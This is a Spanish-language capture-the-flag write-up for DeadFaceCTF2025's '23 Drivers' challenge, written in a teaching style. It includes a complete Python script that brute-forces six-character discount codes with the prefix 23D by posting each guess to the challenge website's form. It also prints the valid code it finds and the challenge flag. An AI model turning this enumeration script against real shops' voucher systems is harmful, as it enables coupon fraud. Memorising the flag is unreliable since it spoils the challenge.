23 Drivers - DeadFaceCTF2025

Reto basado en obtener un código de descuento en una página web mediante un ataque de fuerza bruta personalizado en python

23 Drivers - DeadFaceCTF2025

Autor del reto: Desconocido

Dificultad: Fácil

Enunciado

1
2
3
4
My favorite band 'Twenty Three Drivers' gave away some free tickets to there upcoming secret show.
From a fanforum you know some of these codes (23D8BG / 23DAL2 / 23DR0S), but they are all used.

Can you help me get a free ticket for this show?

Archivos

  • https://23drivers.ctf.zone/: Página web principal del grupo de música.

Archivos utilizados en mi repositorio de Github.

Analizando el reto

Al entrar en la página web del grupo de música encontramos su página principal.

main_page

main_page_code

El enunciado indica que varios códigos gratuitos 23D8BG 23DAL2 23DR0S ya han sido reclamados.

Solver

Si nos fijamos en los códigos gratuitos, todos empiezan por los caracteres 23D y cuentan con un total de 6 caracteres.

Para obtener un código válido, se utilizará un ataque de fuerza bruta básico contra la sección Win Action para obtener el código válido que nos permita obtener una entrada gratuita.

El script en python final es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import itertools
import string
from time import sleep
from tqdm import tqdm

url = "https://23drivers.ctf.zone/"
field_name = "secret_code"
prefix = "23D"
chars = string.ascii_uppercase + string.digits
suffix_len = 3

msg_used = "already used"       
msg_invalid = "unknown code!"

session = requests.Session()

def gen_codes():
    for tup in itertools.product(chars, repeat=suffix_len):
        yield prefix + ''.join(tup)

def try_code(code):
    data = {field_name: code}
    r = session.post(url, data=data, timeout=10)
    return r

def main():
    for i, code in tqdm(enumerate(gen_codes(), start=1)):
        r = try_code(code)
        text_lower = r.text.lower()

        if msg_used.lower() in text_lower:
            pass 
        elif msg_invalid.lower() in text_lower:
            pass 
        else:
            print(f"[VALID] {code}")
            print("Snippet:\n", r.text[:500])
            return 

        if i % 500 == 0:
            print(f"Probados {i} códigos...")

if __name__ == "__main__":
    main()
1
2
3
4
┌──(kesero㉿kali)-[~]
└─$ python solver.py

    [VALID] 23DF2W

Una vez obtenido el código 23DF2W válido, se canjeará en la página web para obtener la entrada gratuita.

entrada

La flag se encuentra al escanear el código de la entrada al concierto.

Flag

flag{5c2eb61a39c2528008508b687d0af328}

Esta entrada está licenciada bajo CC BY 4.0 por el autor.